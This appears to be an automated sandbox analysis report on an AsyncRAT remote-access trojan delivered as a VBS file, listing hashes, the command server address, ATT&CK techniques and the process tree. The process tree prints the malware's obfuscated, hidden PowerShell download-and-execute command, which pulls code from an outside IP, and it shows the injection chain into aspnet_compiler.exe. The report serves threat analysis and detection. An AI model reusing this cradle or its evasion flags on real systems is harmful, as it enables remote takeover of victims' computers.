asyncrat | 4f90acd8429781753e1b43f7c32efaa4ddc9fc108eaec01d9d1dd4ddc444208c

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
29/01/2025, 02:39

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

4f90acd8429781753e1b43f7c32efaa4ddc9fc108eaec01d9d1dd4ddc444208c.vbs
Size

6KB
MD5

5cd058a830624c948fcf2e91589e523c
SHA1

f3ff01a26d55f8c01dc6d930afc526653164e2fd
SHA256

4f90acd8429781753e1b43f7c32efaa4ddc9fc108eaec01d9d1dd4ddc444208c
SHA512

786773fd9d87fa23680cface7236c349b560c7ad4241624f91a6fd6d6cfc05d7e554555614b93a78a2be8000b2c4e5c1b1fca9a312bd68a77cbab1b38ff23370
SSDEEP

96:ej/Eb/Eb/Eb/Eb/Eb/Eb/Eb/Eb/Eb/Eb/Eb/Eb/Eb/Eb/Eb/Eb/Eb/Eb/Eb/Eb/3:8PjGZOmya03D

Score

10^/10

asyncrat 00000001 discovery execution rat

Malware Config

Extracted

Family

asyncrat

Version

AWS | 3Losh

Botnet

00000001

81.10.39.58:7077

Mutex

AsyncMutex_alosh

Attributes

delay
3
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Blocklisted process makes network request 3 IoCs

flow	pid	Process
15	3732	powershell.exe
23	3732	powershell.exe
26	3732	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3732	powershell.exe
1540	powershell.exe
1792	powershell.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation	WScript.exe

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
22	api.ipify.org
23	api.ipify.org

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 1540 set thread context of 2364	1540	powershell.exe	95
PID 1792 set thread context of 3720	1792	powershell.exe	109

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aspnet_compiler.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aspnet_compiler.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
3732	powershell.exe
3732	powershell.exe
1540	powershell.exe
1540	powershell.exe
2364	aspnet_compiler.exe
1792	powershell.exe
1792	powershell.exe
1792	powershell.exe
1792	powershell.exe

Suspicious use of AdjustPrivilegeToken 46 IoCs

description	pid	Process
Token: SeDebugPrivilege	3732	powershell.exe
Token: SeIncreaseQuotaPrivilege	3732	powershell.exe
Token: SeSecurityPrivilege	3732	powershell.exe
Token: SeTakeOwnershipPrivilege	3732	powershell.exe
Token: SeLoadDriverPrivilege	3732	powershell.exe
Token: SeSystemProfilePrivilege	3732	powershell.exe
Token: SeSystemtimePrivilege	3732	powershell.exe
Token: SeProfSingleProcessPrivilege	3732	powershell.exe
Token: SeIncBasePriorityPrivilege	3732	powershell.exe
Token: SeCreatePagefilePrivilege	3732	powershell.exe
Token: SeBackupPrivilege	3732	powershell.exe
Token: SeRestorePrivilege	3732	powershell.exe
Token: SeShutdownPrivilege	3732	powershell.exe
Token: SeDebugPrivilege	3732	powershell.exe
Token: SeSystemEnvironmentPrivilege	3732	powershell.exe
Token: SeRemoteShutdownPrivilege	3732	powershell.exe
Token: SeUndockPrivilege	3732	powershell.exe
Token: SeManageVolumePrivilege	3732	powershell.exe
Token: 33	3732	powershell.exe
Token: 34	3732	powershell.exe
Token: 35	3732	powershell.exe
Token: 36	3732	powershell.exe
Token: SeIncreaseQuotaPrivilege	3732	powershell.exe
Token: SeSecurityPrivilege	3732	powershell.exe
Token: SeTakeOwnershipPrivilege	3732	powershell.exe
Token: SeLoadDriverPrivilege	3732	powershell.exe
Token: SeSystemProfilePrivilege	3732	powershell.exe
Token: SeSystemtimePrivilege	3732	powershell.exe
Token: SeProfSingleProcessPrivilege	3732	powershell.exe
Token: SeIncBasePriorityPrivilege	3732	powershell.exe
Token: SeCreatePagefilePrivilege	3732	powershell.exe
Token: SeBackupPrivilege	3732	powershell.exe
Token: SeRestorePrivilege	3732	powershell.exe
Token: SeShutdownPrivilege	3732	powershell.exe
Token: SeDebugPrivilege	3732	powershell.exe
Token: SeSystemEnvironmentPrivilege	3732	powershell.exe
Token: SeRemoteShutdownPrivilege	3732	powershell.exe
Token: SeUndockPrivilege	3732	powershell.exe
Token: SeManageVolumePrivilege	3732	powershell.exe
Token: 33	3732	powershell.exe
Token: 34	3732	powershell.exe
Token: 35	3732	powershell.exe
Token: 36	3732	powershell.exe
Token: SeDebugPrivilege	1540	powershell.exe
Token: SeDebugPrivilege	2364	aspnet_compiler.exe
Token: SeDebugPrivilege	1792	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2364	aspnet_compiler.exe

Suspicious use of WriteProcessMemory 37 IoCs

description	pid	Process	procid_target
PID 4592 wrote to memory of 3732	4592	WScript.exe	82
PID 4592 wrote to memory of 3732	4592	WScript.exe	82
PID 3176 wrote to memory of 3344	3176	WScript.exe	86
PID 3176 wrote to memory of 3344	3176	WScript.exe	86
PID 3344 wrote to memory of 4668	3344	net.exe	88
PID 3344 wrote to memory of 4668	3344	net.exe	88
PID 3176 wrote to memory of 4840	3176	WScript.exe	89
PID 3176 wrote to memory of 4840	3176	WScript.exe	89
PID 4840 wrote to memory of 1540	4840	cmd.exe	91
PID 4840 wrote to memory of 1540	4840	cmd.exe	91
PID 1540 wrote to memory of 2364	1540	powershell.exe	95
PID 1540 wrote to memory of 2364	1540	powershell.exe	95
PID 1540 wrote to memory of 2364	1540	powershell.exe	95
PID 1540 wrote to memory of 2364	1540	powershell.exe	95
PID 1540 wrote to memory of 2364	1540	powershell.exe	95
PID 1540 wrote to memory of 2364	1540	powershell.exe	95
PID 1540 wrote to memory of 2364	1540	powershell.exe	95
PID 1540 wrote to memory of 2364	1540	powershell.exe	95
PID 4456 wrote to memory of 3304	4456	WScript.exe	102
PID 4456 wrote to memory of 3304	4456	WScript.exe	102
PID 3304 wrote to memory of 2100	3304	net.exe	104
PID 3304 wrote to memory of 2100	3304	net.exe	104
PID 4456 wrote to memory of 3008	4456	WScript.exe	105
PID 4456 wrote to memory of 3008	4456	WScript.exe	105
PID 3008 wrote to memory of 1792	3008	cmd.exe	107
PID 3008 wrote to memory of 1792	3008	cmd.exe	107
PID 1792 wrote to memory of 3632	1792	powershell.exe	108
PID 1792 wrote to memory of 3632	1792	powershell.exe	108
PID 1792 wrote to memory of 3632	1792	powershell.exe	108
PID 1792 wrote to memory of 3720	1792	powershell.exe	109
PID 1792 wrote to memory of 3720	1792	powershell.exe	109
PID 1792 wrote to memory of 3720	1792	powershell.exe	109
PID 1792 wrote to memory of 3720	1792	powershell.exe	109
PID 1792 wrote to memory of 3720	1792	powershell.exe	109
PID 1792 wrote to memory of 3720	1792	powershell.exe	109
PID 1792 wrote to memory of 3720	1792	powershell.exe	109
PID 1792 wrote to memory of 3720	1792	powershell.exe	109

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\4f90acd8429781753e1b43f7c32efaa4ddc9fc108eaec01d9d1dd4ddc444208c.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4592
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WIND HIDDeN -eXeC BYPASS -NONI Sleep 2;[BYTe[]];$FmxQdSlWaGye='IeX(NeW-OBJeCT NeT.W';$KtWLqHZBjFgp='eBCLIeNT).DOWNLO';$UeivQcqgkxEH='repoooos(''http://45.88.186.162/test//update.php'')'.RePLACe('repoooos','ADSTRING');Sleep 1;IeX($FmxQdSlWaGye+$KtWLqHZBjFgp+$UeivQcqgkxEH);
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3732

C:\Windows\System32\WScript.exe
C:\Windows\System32\WScript.exe "C:\Users\Public\Music\Ib1Gys4epo.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3176
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" session
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3344
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:4668
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Music\Ib1Gys4epo.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4840
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "& 'C:\Users\Public\Music\Ib1Gys4epo.ps1'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1540
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      PID:2364

C:\Windows\System32\WScript.exe
C:\Windows\System32\WScript.exe "C:\Users\Public\Music\Ib1Gys4epo.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4456
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" session
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3304
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:2100
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Music\Ib1Gys4epo.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3008
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "& 'C:\Users\Public\Music\Ib1Gys4epo.ps1'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1792
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
      4⤵
      PID:3632
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
      4⤵
      System Location Discovery: System Language Discovery
      PID:3720

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
f41839a3fe2888c8b3050197bc9a0a05

SHA1
0798941aaf7a53a11ea9ed589752890aee069729

SHA256
224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

SHA512
2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
b29d1cb3e9761a90902c4a66a2ba3d5a

SHA1
63c64b29626976bc0a143d72f291bb50727dffbe

SHA256
b998ed3cf206c4dac06d6028943a2f5accd73a93aca74420afe7480c464bf124

SHA512
54bac9ee28a46f57bfac8fecb6d8af504cb483b70f62f06febd9768d4254b611a082c8191d93599ebfd4a5b75a85dd387b758db1439df89337473c8f68a3cd88

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_djtxxcyi.3fl.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Public\Music\Ib1Gys4epo.bat

Filesize
2KB

MD5
2e065e7218829a163058fa097845dba2

SHA1
aa6c63b9317f723389f550c433839ee136dd26ae

SHA256
febb766116ce6cf0462bf23060b82a8cdf67591dd5b90a22bef4cd1f7c2f4f03

SHA512
afb85022f0dbcecfbe8d17b65f99f5482e512be901e1f9c156cbdb962c5aa7ea8649ae2cbe976da27471e683b1b54fffbdd403c908b6608aa1e797da4926c519

Download Submit
C:\Users\Public\Music\Ib1Gys4epo.ps1

Filesize
453KB

MD5
d8502dea3a910acdb3e942e4f368c060

SHA1
17dd9d6ce7114818a3aaeecb9956fd4a93a94236

SHA256
82106190d1a2850bde87107b6f76b2d68f2d5dc8211bd709f59158737fb42147

SHA512
8318b7d3541a98ae618b581aee6b791355a6b6ec928ffb2563bf71affe3635c8c76a44535f0f8eda82db0a53660ad31a052b44b659ddbf80f144e2bc813a83d5

Download Submit
C:\Users\Public\Music\Ib1Gys4epo.vbs

Filesize
4KB

MD5
950ade446d464d618930a2b4f5e978cf

SHA1
7851452ce536e8a416ba4cbb540168a622930d2c

SHA256
d799db5accfbf6d8cab01f9e749187e155fa1598bcc381d622bfc3f3b4244e73

SHA512
0ff54c81a232932be47d07f64f1049cdf38fa0343a1ee2a1dc78f6c309721ca495330fd73fa5bda5fa3a3c1d835b93b20010ad21bba758b8e55f1c57d7ff3b24

Download Submit
memory/1540-33-0x000001CB674E0000-0x000001CB674EC000-memory.dmp

Filesize
48KB

Download
memory/2364-39-0x0000000005660000-0x000000000566A000-memory.dmp

Filesize
40KB

Download
memory/2364-38-0x00000000056A0000-0x0000000005732000-memory.dmp

Filesize
584KB

Download
memory/2364-37-0x0000000005A70000-0x0000000006014000-memory.dmp

Filesize
5.6MB

Download
memory/2364-34-0x0000000000400000-0x0000000000416000-memory.dmp

Filesize
88KB

Download
memory/3732-18-0x00007FF9184C0000-0x00007FF918F81000-memory.dmp

Filesize
10.8MB

Download
memory/3732-32-0x00007FF9184C0000-0x00007FF918F81000-memory.dmp

Filesize
10.8MB

Download
memory/3732-31-0x00007FF9184C3000-0x00007FF9184C5000-memory.dmp

Filesize
8KB

Download
memory/3732-0-0x00007FF9184C3000-0x00007FF9184C5000-memory.dmp

Filesize
8KB

Download
memory/3732-12-0x00007FF9184C0000-0x00007FF918F81000-memory.dmp

Filesize
10.8MB

Download
memory/3732-40-0x00007FF9184C0000-0x00007FF918F81000-memory.dmp

Filesize
10.8MB

Download
memory/3732-41-0x0000025F80120000-0x0000025F802E2000-memory.dmp

Filesize
1.8MB

Download
memory/3732-42-0x00007FF9184C0000-0x00007FF918F81000-memory.dmp

Filesize
10.8MB

Download
memory/3732-43-0x0000025F006B0000-0x0000025F00BD8000-memory.dmp

Filesize
5.2MB

Download
memory/3732-11-0x00007FF9184C0000-0x00007FF918F81000-memory.dmp

Filesize
10.8MB

Download
memory/3732-1-0x0000025F7F2D0000-0x0000025F7F2F2000-memory.dmp

Filesize
136KB

Download
memory/3732-47-0x00007FF9184C0000-0x00007FF918F81000-memory.dmp

Filesize
10.8MB

Download